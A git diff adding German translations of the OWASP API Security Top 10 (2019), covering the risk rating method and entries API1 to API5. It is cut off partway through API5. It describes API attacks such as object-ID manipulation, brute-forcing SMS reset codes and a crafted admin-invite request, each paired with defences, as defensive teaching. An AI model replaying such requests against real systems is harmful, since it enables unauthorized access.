b/editions/2019/de/0x10-api-security-risks.md @@ -0,0 +1,41 @@ +# Sicherheitsrisiken für APIs + +Zur Durchführung der Risikoanalyse wurde die [OWASP Risk Rating Methodology][1] verwendet. + +Die nachstehende Tabelle fasst die mit der Risikobewertung verbundene Terminologie zusammen. + +| Bedrohungsakteure | Ausnutzbarkeit | Schwachstellenprävalenz | Schwachstellendetektierbarkeit | Technische Auswirkungen | Geschäftsauswirkungen | +| :-: | :-: | :-: | :-: | :-: | :-: | +| API-spezifisch | Leicht: **3** | Weit verbreitet **3** | Leicht **3** | Schwer **3** | Unternehmensspezifisch | +| API-spezifisch | Durchschnittlich **2** | Häufig **2** | Durchschnittlich **2** | Mäßig **2** | Unternehmensspezifisch | +| API-spezifisch | Schwer **1** | Schwer **1** | Schwer **1** | Leicht **1** | Unternehmensspezifisch | + +**Anmerkung**: Bei diesem Ansatz wird die Wahrscheinlichkeit des Bedrohungserregers nicht berücksichtigt. Er berücksichtigt auch keine der verschiedenen technischen Details, die mit Ihrer speziellen Anwendung verbunden sind. Jeder dieser Faktoren kann die Gesamtwahrscheinlichkeit, dass ein Angreifer eine bestimmte Schwachstelle findet und ausnutzt beeinflussen. Diese Bewertung berücksichtigt nicht die tatsächlichen Auswirkungen auf Ihr +Unternehmen. Ihr Unternehmen muss entscheiden, wie viele Sicherheitsrisiken durch +Anwendungen und APIs das Unternehmen bereit ist, angesichts der Unternehmenskultur, Branche und regulatorischem Umfelds zu akzeptieren. Der Zweck der OWASP API Security Top +10 ist es nicht, diese Risikoanalyse für Sie durchzuführen. + +## Referenzen + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### External + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: https://www.owasp.org/index.php/Threat_Risk_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2019/de/0x11-t10.md b/editions/2019/de/0x11-t10.md new file mode 100644 index 000000000..e4e6434bd --- /dev/null +++ b/editions/2019/de/0x11-t10.md @@ -0,0 +1,14 @@ +# OWASP Top 10 API Security Risks – 2019 + +| Risko | Beschreibung | +| ----- | ------------ | +| API1:2019 - Broken Object Level Authorization | APIs neigen dazu, Endpunkte offenzulegen, die Objektidentifikatoren verarbeiten, was eine breite Angriffsfläche auf Zugriffskontrolle auf Objektebene schafft. Berechtigungsprüfungen auf Objektebene sollten in jeder Funktion berücksichtigt werden, die auf eine Datenquelle zugreift, die eine Eingabe des Benutzers verwendet. | +| API2:2019 - Broken User Authentication | Authentifizierungsmechanismen sind oft falsch implementiert, sodass Angreifer Authentifizierungstoken kompromittieren oder Implementierungsfehler ausnutzen können, um vorübergehend oder dauerhaft die Identität anderer Benutzer anzunehmen. Durch die Beeinträchtigung der Fähigkeit des Systems, den Client / Benutzer zu identifizieren, wird die API-Sicherheit insgesamt gefährdet. | +| API3:2019 - Excessive Data Exposure | Mit Blick auf generische Implementierungen neigen Entwickler dazu, alle Objekteigenschaften freizugeben, ohne deren individuelle Empfindlichkeit zu berücksichtigen, und sich darauf zu verlassen, dass die Clients die Datenfilterung durchführen, bevor sie dem Benutzer angezeigt werden. | +| API4:2019 - Lack of Resources & Rate Limiting | Oftmals gibt es bei APIs keine Beschränkungen für die Größe oder Anzahl der Ressourcen, die vom Client/Nutzer angefordert werden können. Dies kann sich nicht nur auf die Leistung des API-Servers auswirken und zu Denial of Service (DoS) führen, sondern öffnet auch die Tür für Authentifizierungs-Angriffe wie Brute Force. | +| API5:2019 - Broken Function Level Authorization | Komplexe Zugriffskontrollrichtlinien mit unterschiedlichen Hierarchien, Gruppen und Rollen sowie eine unklare Trennung zwischen administrativen und regulären Funktionen führen häufig zu Sicherheitslücken in der Autorisierung. Unter Ausnutzung dieser Schwachstellen können Angreifer Zugriff auf die Ressourcen anderer Benutzer und/oder administrative Funktionen erlangen. | +| API6:2019 - Mass Assignment | Das Verbinden von vom Client bereitgestellten Daten (z.B. JSON) an Datenmodelle ohne ordnungsgemäße Filterung der Eigenschaften auf der Grundlage einer Whitelist führt in der Regel zu Mass Assignment. Das Erraten von Objekteigenschaften, das Erforschen anderer API-Endpunkte, das Lesen der Dokumentation oder die Bereitstellung zusätzlicher Objekteigenschaften in Daten von Anfragen ermöglicht es Angreifern, Objekteigenschaften zu verändern, die sie nicht verändern dürfen. | +| API7:2019 - Security Misconfiguration | Sicherheitsfehlkonfigurationen sind häufig das Ergebnis unsicherer Standardkonfigurationen, unvollständiger oder Ad-hoc-Konfigurationen, offener Cloud-Speicher, falsch konfigurierter HTTP-Header, unnötiger HTTP-Methoden, permissiver Cross-Origin-Resource-Sharing (CORS) und ausführlicher Fehlermeldungen mit sensiblen Informationen. | +| API8:2019 - Injection | Injection-Fehler, wie SQL, NoSQL, Command Injection usw., treten auf, wenn nicht vertrauenswürdige Daten als Teil eines Befehls oder einer Abfrage an einen Interpreter gesendet werden. Die bösartigen Daten des Angreifers können den Interpreter dazu verleiten, unbeabsichtigte Befehle auszuführen oder auf Daten zuzugreifen, ohne dazu berechtigt zu sein. | +| API9:2019 - Improper Assets Management | APIs neigen dazu, mehr Endpunkte freizugeben als herkömmliche Webanwendungen, was eine ordnungsgemäße und aktualisierte Dokumentation sehr wichtig macht. Eine ordnungsgemäße Inventarisierung der Hosts und der bereitgestellten API-Versionen spielt ebenfalls eine wichtige Rolle, um Probleme wie veraltete API-Versionen und offengelegte Debug-Endpunkten zu entschärfen. | +| API10:2019 - Insufficient Logging & Monitoring | Unzureichende Protokollierung und Überwachung in Verbindung mit einer fehlenden oder unwirksamen Integration in die Reaktion auf Vorfälle (Incidents Response) ermöglichen es Angreifern, weitere Systeme anzugreifen, die Persistenz aufrechtzuerhalten und auf weitere Systeme überzugehen, um Daten zu manipulieren, zu extrahieren oder zu zerstören. Die meisten Studien zu Breaches (Cyber Einbruch) zeigen, dass die Zeit bis zur Entdeckung eines Breaches mehr als 200 Tage beträgt und in der Regel eher von externen Parteien als von internen Prozessen oder der internen Überwachung entdeckt werden. | diff --git a/editions/2019/de/0xa1-broken-object-level-authorization.md b/editions/2019/de/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..d95dcc401 --- /dev/null +++ b/editions/2019/de/0xa1-broken-object-level-authorization.md @@ -0,0 +1,43 @@ +# API1:2019 Broken Object Level Authorization + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **3** : Erkennbarkeit **2** | Komplexität **3** : Unternehmensspezifisch | +| Angreifer können API-Endpunkte ausnutzen, die anfällig für eine fehlerhafte Autorisierung auf Objektebene sind, indem sie die ID eines Objekts manipulieren, die innerhalb des Requests gesendet wird. Dies kann zu einem unberechtigten Zugriff auf sensible Daten führen. Dieses Problem tritt bei API-basierten Anwendungen häufig auf, da die Serverkomponente in der Regel nicht den vollständigen Status des Clients verfolgt und stattdessen stärker auf Parameter wie Objekt-IDs angewiesen ist, die vom Client gesendet werden, um zu entscheiden, auf welche Objekte zugegriffen werden soll. | Dies ist der häufigste und folgenreichste Angriff auf APIs. Autorisierungs- und Zugriffskontrollmechanismen in modernen Anwendungen sind komplex und weit verbreitet. Selbst wenn die Anwendung eine angemessene Infrastruktur für Autorisierungsprüfungen implementiert, können Entwickler vergessen, diese Prüfungen vor dem Zugriff auf ein sensibles Objekt durchzuführen. Die Erkennung von Zugriffskontrollen ist in der Regel nicht durch automatisierte statische oder dynamische Tests möglich. | Unbefugter Zugriff kann zur Offenlegung von Daten an Unbefugte, zu Datenverlust oder Datenmanipulation führen. Unbefugter Zugriff auf Objekte kann auch zu einer vollständigen Übernahme des Kontos führen. | + +## Ist die API angreifbar? + +Die Autorisierung auf Objektebene ist ein Zugriffskontrollmechanismus, der in der Regel auf Codeebene implementiert wird, um sicherzustellen, dass ein Benutzer nur auf die Objekte zugreifen kann, auf die er Zugriff haben sollte. + +Jeder API-Endpunkt, der die ID eines Objekts empfängt und irgendeine Art von Aktion mit dem Objekt ausführt, sollte Berechtigungsprüfungen auf Objektebene implementieren. Diese Prüfungen sollten validieren, dass der eingeloggte Benutzer die Berechtigung hat, die angeforderte Aktion an dem angeforderten Objekt durchzuführen. + +Versagen dieses Mechanismus führt in der Regel zur unberechtigten Offenlegung, Änderung oder Zerstörung aller Daten. + +## Beispiele für Angriffe + +### Szenario #1 + +Ein E-Commerce-Plattform für Online-Shops bietet eine Auflistungsseite mit Umsatzdiagrammen für die von ihr gehosteten Shops. Durch Untersuchung der Browseranfragen kann ein Angreifer die API-Endpunkte identifizieren, die als Datenquelle für diese Diagramme dienen und deren Muster `/shops/{shopName}/revenue_data.json` ist. Über einen anderen API-Endpunkt kann der Angreifer eine Liste aller gehosteten Shopnamen abrufen. Mithilfe eines einfachen Skripts, das die Namen in der Liste manipuliert und `{shopName}` in der URL ersetzt, erhält der Angreifer Zugang zu den Verkaufsdaten von Tausenden von E-Commerce-Shops. + +### Szenario #2 + +Beim Überwachen des Netzwerkverkehrs eines Wearable fällt einem Angreifer eine HTTP PATCH-Anfrage auf, die einen benutzerdefinierten HTTP-Anfrageheader mit dem Namen X-User-Id: 54796 enthält. Durch Ersetzen des X-User-Id-Werts durch 54795 erhält der Angreifer eine erfolgreiche HTTP-Antwort und kann die Kontodaten anderer Benutzer ändern. + +## Vorbeugende Maßnahmen + +* Implementierung eines angemessenen Autorisierungsmechanismus, der auf den Benutzerrichtlinien und der Benutzerhierarchie basiert. +* Verwenden Sie einen Autorisierungsmechanismus, um zu überprüfen, ob der eingeloggte Benutzer berechtigt ist, die angeforderte Aktion für den Datensatz in jeder Funktion auszuführen, die eine Eingabe vom Client verwendet, um auf einen Datensatz in der Datenbank zuzugreifen. +* Verwenden Sie zufällige und nicht vorhersehbare GUIDs als IDs für Datensätze, wo immer möglich. +* Schreiben Sie Tests, um den Autorisierungsmechanismus zu bewerten. Veröffentlichen Sie keine anfälligen Änderungen, die die Tests brechen. + +## Referenzen + +### OWASP + +* [CWE-284: Improper Access Control][1] +* [CWE-285: Improper Authorization][2] +* [CWE-639: Authorization Bypass Through User-Controlled Key][3] + +[1]: https://cwe.mitre.org/data/definitions/284.html +[2]: https://cwe.mitre.org/data/definitions/285.html +[3]: https://cwe.mitre.org/data/definitions/639.html diff --git a/editions/2019/de/0xa2-broken-user-authentication.md b/editions/2019/de/0xa2-broken-user-authentication.md new file mode 100644 index 000000000..b4f70d744 --- /dev/null +++ b/editions/2019/de/0xa2-broken-user-authentication.md @@ -0,0 +1,78 @@ +# API2:2019 Broken User Authentication + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **2** : Erkennbarkeit **2** | Komplexität **3** : Unternehmensspezifisch | +| Die Authentifizierung in APIs ist ein komplexer und unübersichtlicher Prozess. Softwareentwickler haben möglicherweise falsche Vorstellungen darüber, wo die Einschränkungen der Authentifizierung liegen und wie man sie richtig implementiert. Darüber hinaus ist der Authentifizierungsmechanismus ein leichtes Ziel für Angreifer, da er für jeden zugänglich ist. Diese beiden Punkte machen die Authentifizierungskomponente anfällig für zahlreiche Angriffe. | Es gibt zwei Unterpunkte: 1. Fehlende Schutzmechanismen: API-Endpunkte, die für die Authentifizierung zuständig sind, müssen anders behandelt werden als normale Endpunkte und zusätzliche Schutzmechanismen implementieren. 2. Falsche Implementierung des Verfahrens: Der Prozess der Authentifizierung wird verwendet/implementiert, ohne die Angriffsvektoren zu berücksichtigen, oder es ist der falsche Anwendungsfall (z. B. ist ein Authentifizierungsmechanismus, der für IoT-Clients entwickelt wurde, möglicherweise nicht die richtige Wahl für Webanwendungen) implementiert worden. | Angreifer können die Kontrolle über die Konten anderer Benutzer im System übernehmen, ihre persönlichen Daten auslesen und sensiblen Aktionen in deren Namen ausführen, wie Geld transferieren oder persönlichen Nachrichten versenden. + +## Ist die API angreifbar? + +Endpunkte für die Authentifizierungs sind sensible Funktionen, die geschützt werden müssen. "Passwort +vergessen / zurücksetzen" sollte genauso behandelt werden wie Authentifizierungsmechanismen. + +Eine API ist verwundbar, wenn sie folgendes zulässt: +* Wenn diese [credential stuffing][1] zulässt. Hierbei versucht sich in Angreifer mit einer + Liste geklauter Zugangsdaten einzuloggen. +* Wenn diese es Angreifern erlaubt, einen Brute-Force-Angriff auf dasselbe Benutzerkonto durchzuführen, + ohne ein Captcha-Mechanismus oder eine Sperrfunktion für das Konto implementieren. +* Wenn die API unsichere Passwörter erlaubt. +* Sensible Anmeldeinformationen, wie Auth-Tokens und Passwörter, in der URL sendet. +* Die Authentizität von Tokens nicht validiert. +* Unsignierte/schwach signierte JWT-Tokens ("alg":"none") akzeptiert oder deren Ablaufdatum nicht validiert. +* Passwörter im Klartext speichert oder schwache Hash-Funktion für Passwörter benutzt. +* Schwache Verschlüsselungsschlüssel verwendet. + +## Beispiele für Angriffe + +### Szenario #1 + +[Credential stuffing][1] (durch Verwendung von [Listen mit bekannten Benutzernamen/Passwörtern][2]) +ist ein häufiger Angriff. Wenn eine Anwendung keine automatischen Schutzmaßnahmen gegen Bedrohungen +oder Credential Stuffing implementiert, kann die Anwendung als Passwort-Oracle (Tester) verwendet werden, +um zu bestimmen, ob die Anmeldeinformationen gültig sind. + +### Szenario #2 + +Ein Angreifer startet den Passwort-Wiederherstellungs-Prozess, indem er eine POST-Anfrage an +`/api/system/verification-codes` sendet und den Benutzernamen im Anfrage-Body bereitstellt. +Als nächstes wird ein SMS-Token mit 6 Ziffern an das Telefon des Opfers gesendet. Da die API keine Policy +zur Begrenzung der Abfragerate implementiert, kann der Angreifer alle möglichen Kombinationen mit +einem mehrthreadigen Skript gegen das Endpunkt `/api/system/verification-codes/{smsToken}` testen, um +innerhalb weniger Minuten das richtige Token zu entdecken. + +## Vorbeugende Maßnahmen + +* Es sollte sichergestellt werden, dass alle Methoden zur Authentifizierung einer API bekannt sind (Mobile/Web/Deep Links, die eine Ein-Klick-Authentifizierung). +* Es sollte mit den Software-Entwicklern abgestimmt werden ob es noch weitere Methoden zur Authentifizierung gibt. +* Informieren Sie sich die genutzen Authentifizierungsmechanismen. Stellen Sie sicher, dass Sie verstehen, was und + wie diese verwendet werden. OAuth ist keine Authentifizierung und API-Schlüssel auch nicht. +* Erfinde Sie das Rad nicht neu in Bezug auf Authentifizierung, Token-Generierung und Passwort-Speicherung. Verwenden Sie + die anerkannten Standards. +* Endpunkte für Passwort-Vergeßen Funktion sollten in Bezug auf Brute-Force Angriffe, Begrenzung der Abfragerate und Sperrmechanismen wie Login-Endpunkte behandelt werden. +* Benutzen Sie das [OWASP Authentication Cheatsheet][3]. +* Implementieren Sie Multi-Faktor-Authentifizierung, sofern dies möglich ist. +* Implementieren SIe Anti-Brute-Force-Mechanismen, um Credential Stuffing, Dictionary-Attacken und Brute-Force-Angriffe auf die Authentifizierungs-Endpunkte zu erschweren. Dieser Mechanismus sollte restriktiver sein als die reguläre Begrenzung der Abfragerate der API. +* Implementieren Sie [Accountsperren][4] oder Captchas um Brute-Force-Angriffe auf bestimmte Benutzer zu verhindern. + Prüfen sie alle Passwörter auf schwache Passwörter. +* API-Schlüssel sollten nicht für die Benutzerauthentifizierung verwendet werden, sondern für [client app/ + project authentication][5]. + +## Referenzen + +### OWASP + +* [OWASP Key Management Cheat Sheet][6] +* [OWASP Authentication Cheatsheet][3] +* [Credential Stuffing][1] + +### Externe Quellen + +* [CWE-798: Use of Hard-coded Credentials][7] + +[1]: https://www.owasp.org/index.php/Credential_stuffing +[2]: https://github.com/danielmiessler/SecLists +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[4]: https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) +[5]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[6]: https://www.owasp.org/index.php/Key_Management_Cheat_Sheet +[7]: https://cwe.mitre.org/data/definitions/798.html diff --git a/editions/2019/de/0xa3-excessive-data-exposure.md b/editions/2019/de/0xa3-excessive-data-exposure.md new file mode 100644 index 000000000..ac07f8780 --- /dev/null +++ b/editions/2019/de/0xa3-excessive-data-exposure.md @@ -0,0 +1,40 @@ +# API3:2019 Excessive Data Exposure + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **2** : Erkennbarkeit **2** | Komplexität **2** : Unternehmensspezifisch | +| Die Ausnutzung von übermäßiger Datenfreigabe ist einfach und erfolgt in der Regel durch Sniffing des Datenverkehrs, um die API-Antworten zu analysieren und nach sensiblen Daten zu suchen, die nicht an den Benutzer zurückgegeben werden sollten. |APIs verlassen sich darauf, dass Clients die Datenfilterung durchführen. Da APIs als Datenquellen verwendet werden, versuchen Entwickler manchmal, sie auf generische Weise zu implementieren, ohne an die Sensibilität der offengelegten Daten zu denken. Automatische Tools können diese Art von Schwachstellen in der Regel nicht erkennen, da es schwierig ist, zwischen legitimen Daten, die von der API zurückgegeben werden, und sensiblen Daten, die ohne tiefes Verständnis der Anwendung nicht zurückgegeben werden sollten, zu unterscheiden. | Eine übermäßige Datenexposition führt in der Regel zur Offenlegung sensibler Daten. | + +## Ist die API angreifbar? + +Die API gibt sensible Daten absichtlich an den Client zurück. Diese Daten werden normalerweise auf der Client-Seite gefiltert, bevor sie dem Benutzer präsentiert werden. Ein Angreifer kann den Datenverkehr leicht ausspähen und die sensiblen Daten sehen. + +## Beispiele für Angriffe + +### Szenario #1 + +Das Mobile-Team verwendet den Endpunkt `/api/articles/{articleId}/comments/{commentId}` +in der Artikelansicht, um Metadaten zu Kommentaren zu rendern. Durch das Sniffing des Datenverkehrs der mobilen Anwendung findet ein Angreifer heraus, dass auch andere sensible Daten, die sich auf den Autor des Kommentars beziehen, zurückgegeben werden. Die Implementierung des Endpunkts verwendet eine generische `toJSON()`-Methode des User-Modells, das PII enthält, um das Objekt zu serialisieren. + +### Szenario #2 + +Ein IoT-basiertes Überwachungssystem ermöglicht es Administratoren, Benutzer mit unterschiedlichen Berechtigungen zu erstellen. Ein Administrator erstellt ein Benutzerkonto für einen neuen Sicherheitsmitarbeiter, der nur Zugang zu bestimmten Gebäuden auf dem Gelände haben sollte. Sobald der Sicherheitsmitarbeiter seine mobile App verwendet, wird ein API-Aufruf ausgelöst: /api/sites/111/cameras, um Daten über die verfügbaren Kameras zu erhalten und sie auf dem Dashboard anzuzeigen. Die Antwort enthält eine Liste mit Details über Kameras im folgenden Format: `{"id": "xxx", "live_access_token": "xxxx-bbbbb", "building_id": "yyy"}`. Während die Client-GUI nur Kameras anzeigt, auf die der Sicherheitsmitarbeiter Zugriff haben soll, enthält die tatsächliche API-Antwort eine vollständige Liste aller Kameras auf dem Gelände. + +## Vorbeugende Maßnahmen + +* Verlassen Sie sich niemals auf die Client-Seite, um sensible Daten zu filtern. +* Überprüfen Sie die Antworten der API, um sicherzustellen, dass sie nur legitime Daten enthalten. +* Backend-Entwickler sollten sich immer fragen "Wer ist der Nutzer der Daten?", bevor sie einen neuen API-Endpunkt freigeben. +* Vermeiden Sie die Verwendung generischer Methoden wie `to_json()` und `to_string()`. + Wählen Sie stattdessen spezifische Eigenschaften aus, die Sie wirklich zurückgeben möchten. +* Klassifizieren Sie sensible und persönlich identifizierbare Informationen (PII), die Ihre Anwendung speichert und verarbeitet. Überprüfen Sie alle API-Aufrufe, die solche Informationen zurückgeben, um zu sehen, ob diese Antworten ein Sicherheitsproblem darstellen. +* Implementieren Sie einen schema-basierten Response-Validierungsmechanismus als zusätzliche Sicherheitsebene. Im Rahmen dieses Mechanismus definieren und erzwingen Sie die Daten, die von allen API-Methoden zurückgegeben werden, einschließlich Fehler. + + +## Referenzen + +### OWASP + +* [CWE-213: Intentional Information Exposure][1] + +[1]: https://cwe.mitre.org/data/definitions/213.html diff --git a/editions/2019/de/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/de/0xa4-lack-of-resources-and-rate-limiting.md new file mode 100644 index 000000000..e805bb0cf --- /dev/null +++ b/editions/2019/de/0xa4-lack-of-resources-and-rate-limiting.md @@ -0,0 +1,84 @@ +# API4:2019 Lack of Resources & Rate Limiting + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **2** | Häufigkeit **3** : Erkennbarkeit **3** | Komplexität **2** : Unternehmensspezifisch | +| Die Ausnutzung erfordert einfache API-Anfragen. Es ist keine Authentifizierung erforderlich. Mehrere gleichzeitige Anfragen können von einem einzigen lokalen Computer aus oder unter Verwendung von Cloud-Computing-Ressourcen durchgeführt werden. | Es ist üblich, APIs zu finden, die keine Rate-Limitierung implementieren oder APIs, bei denen die Limits nicht ordnungsgemäß gesetzt sind. | Eine Ausnutzung kann zu DoS führen, wodurch die API nicht mehr reagiert oder sogar nicht mehr verfügbar ist. | + +## Ist die API angreifbar? + +API-Anforderungen verbrauchen Ressourcen wie Netzwerk, CPU, Arbeitsspeicher und Speicherplatz. Die +Menge an Ressourcen, die zur Beantwortung einer Anfrage benötigt wird, hängt stark von der +Eingabe und der Geschäftslogik des Endpunkts ab. Berücksichtigen Sie auch die Tatsache, dass Anfragen von +mehreren API-Clients um die Ressourcen konkurrieren. Eine API ist verwundbar, wenn mindestens eine +der folgenden Grenzwerte fehlt oder unangemessen eingestellt ist (z. B. zu niedrig/hoch): + +* Ausführungszeitüberschreitungen +* Maximal zuweisbarer Speicher +* Anzahl der Dateideskriptoren +* Anzahl der Prozesse +* Größe der Nutzlast von Anfragen (z. B. Uploads) +* Anzahl der Anfragen pro Client/Ressource +* Anzahl der Datensätze pro Seite, die in einer einzigen Anfrageantwort zurückgegeben werden sollen + +## Beispiele für Angriffe + +### Szenario #1 + +Ein Angreifer lädt ein großes Bild hoch, indem er eine POST-Anfrage an `/api/v1/images` stellt. +Wenn der Upload abgeschlossen ist, erstellt die API mehrere Miniaturbilder mit unterschiedlichen +Größen. Aufgrund der Größe des hochgeladenen Bildes ist der verfügbare Speicher +während der Erstellung der Miniaturansichten erschöpft und die API reagiert nicht mehr. + +### Szenario #2 + +Gegeben ist eine Anwendung, die die Benutzerliste auf einer Benutzeroberfläche mit einer Begrenzung von +200 Benutzer pro Seite anzeigt. Die Benutzerliste wird mit folgender Abfrage vom Server abgerufen: `/api/users?page=1&size=200`. Ein Angreifer ändert den Parameter `size` +Parameter auf `200.000`, was zu Leistungsproblemen in der Datenbank führt. In der Zwischenzeit +reagiert die API nicht mehr und ist nicht mehr in der Lage, weitere Anfragen von diesem +oder anderen Clients zu beantworten (DoS). + +Das gleiche Szenario kann verwendet werden, wenn ein Integer oder Buffer Overflow auftritt. + +## Vorbeugende Maßnahmen + +* Docker macht es einfach [Speicher][1], [CPU][2], [Anzahl der Neustarts][3], + [Dateideskriptoren und Prozesse][4] zu beschränken. +* Implementieren Sie ein Limit, wie oft ein Client die API innerhalb eines bestimmten + Zeitrahmen abrufen kann. +* Benachrichtigen Sie den Client, wenn das Limit überschritten wird, indem Sie die Limitnummer und + den Zeitpunkt, zu dem das Limit zurückgesetzt wird bekanntgeben. +* Hinzufügen einer ordnungsgemäßen serverseitigen Validierung für Query String und Request Body + Parameter, insbesondere denjenigen, die die Anzahl der in der Antwort zurückzugebenden + Werte betimmen. +* Definieren und erzwingen Sie die maximale Größe von Daten für alle eingehenden Parameter und + und Nutzdaten, wie z. B. die maximale Länge für Strings und die maximale Anzahl von Elementen in + Arrays. + + +## Referenzen + +### OWASP + +* [Blocking Brute Force Attacks][5] +* [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors, + processes, restarts)][6] +* [REST Assessment Cheat Sheet][7] + +### Externe Quellen + +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][8] +* [CWE-770: Allocation of Resources Without Limits or Throttling][9] +* “_Rate Limiting (Throttling)_” - [Security Strategies for Microservices-based + Application Systems][10], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit +[5]: https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks +[6]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts +[7]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md +[8]: https://cwe.mitre.org/data/definitions/307.html +[9]: https://cwe.mitre.org/data/definitions/770.html +[10]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf diff --git a/editions/2019/de/0xa5-broken-function-level-authorization.md b/editions/2019/de/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..ed2fe1660 --- /dev/null +++ b/editions/2019/de/0xa5-broken-function-level-authorization.md @@ -0,0 +1,67 @@ +# API5:2019 Broken Function Level Authorization + +| Bedrohungsakteure/Angriffsvektoren | Sicherheitslücken | Auswirkungen | +| - | - | - | +| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **2** : Erkennbarkeit **1** | Komplexität **2** : Unternehmensspezifisch | +| Um eine Schwachstelle auszunutzen, muss der Angreifer legitime API-Aufrufe an einen Endpunkt senden, auf den er eigentlich keinen Zugriff haben sollte. Diese Endpunkte könnten für anonyme oder nicht privilegierte Benutzer zugänglich sein. Es ist einfacher, solche Schwachstellen in APIs zu entdecken, da sie besser strukturiert sind und der Weg, um auf bestimmte Funktionen zuzugreifen, vorhersehbarer ist (z. B. indem man die HTTP-Methode von GET auf PUT ändert oder den Teil `users` in der URL in `admins` ändert). | Berechtigungsprüfungen für eine Funktion oder Ressource werden in der Regel über die Konfiguration und manchmal auch auf Code-Ebene verwaltet. Die Implementierung geeigneter Prüfungen kann eine verwirrende Aufgabe sein, da moderne Anwendungen viele Arten von Rollen oder Gruppen und komplexe Benutzerhierarchien (z. B. Unterbenutzer, Benutzer mit mehr als einer Rolle) enthalten können. | Solche Schwachstellen ermöglichen es Angreifern, auf nicht autorisierte Funktionen zuzugreifen. Verwaltungsfunktionen sind wichtige Ziele für diese Art von Angriffen. | + +## Ist die API angreifbar? + +Die beste Möglichkeit, um Schwachstellen in der Funktionsautorisierung zu finden, besteht darin, eine tiefgreifende Analyse des Autorisierungsmechanismus durchzuführen, wobei die Benutzerhierarchie, verschiedene Rollen oder Gruppen in der Anwendung berücksichtigt werden und die folgenden Fragen gestellt werden: + +* Kann ein normaler Benutzer auf administrative Endpunkte zugreifen? +* Kann ein Benutzer sensible Aktionen (z. B. Erstellung, Änderung oder Löschung) durchführen, auf die er keinen Zugriff haben sollte, indem er einfach die HTTP-Methode ändert (z. B. von `GET` auf `DELETE`)? +* Kann ein Benutzer aus Gruppe X auf eine Funktion zugreifen, die nur Benutzern aus Gruppe Y zugänglich sein sollte, indem er einfach die Endpunkt-URL und Parameter errät (z. B. `/api/v1/users/export_all`)? + +Nehmen Sie nicht an, dass ein API-Endpunkt nur aufgrund des URL-Pfads ein regulärer oder administrativer Endpunkt ist. + +Obwohl Entwickler dazu neigen, die meisten administrativen Endpunkte unter einem bestimmten relativen Pfad wie `api/admins` zu platzieren, ist es sehr häufig, dass diese administrativen Endpunkte zusammen mit regulären Endpunkten unter anderen relativen Pfaden wie `api/users` zu finden sind. + +## Beispiele für Angriffe + +### Szenario #1 + +Während des Registrierungsprozesses für eine Anwendung, die nur eingeladenen Nutzern die Teilnahme erlaubt beitreten können, löst die mobile Anwendung einen API-Aufruf aus an `GET /api/invites/{invite_guid}`. +Die Antwort enthält ein JSON mit Details über die Einladung, einschließlich der Rolle des Benutzers und seiner E-Mail. + +Ein Angreifer duplizierte die Anfrage und manipulierte die HTTP-Methode und den Endpunkt zu `POST /api/invites/new`. Dieser Endpunkt sollte nur von Administratoren +Administratoren zugreifen, die die Verwaltungskonsole verwenden, die keine Funktions Berechtigungsprüfungen implementiert. + +Der Angreifer nutzt das Problem aus und sendet sich selbst eine Einladung zur Erstellung eines +Administratorkonto zu erstellen: + +``` +POST /api/invites/new + +{“email”:”hugo@malicious.com”,”role”:”admin”} +``` + +### Szenario #2 + +Eine API enthält einen Endpunkt, der nur für Administratoren zugänglich sein sollte - `GET /api/admin/v1/users/all`. Dieser Endpunkt liefert die Details aller Benutzer der Anwendung zurück und führt keine Berechtigungsprüfungen auf Funktionsebene durch. Ein Angreifer, der die Struktur der API kennt, errät den Zugriff auf diesen Endpunkt und erlangt dadurch Zugang zu sensiblen Details der Anwendungsnutzer. + +## Vorbeugende Maßnahmen + +Ihre Anwendung sollte ein konsistentes und leicht analysierbares Autorisierungsmodul haben, das von allen Geschäftsfunktionen aufgerufen wird. Häufig wird diese Sicherheit durch eine oder mehrere Komponenten außerhalb des Anwendungscodes bereitgestellt. + +* Die Durchsetzungsmechanismen sollten standardmäßig jeden Zugriff verweigern und 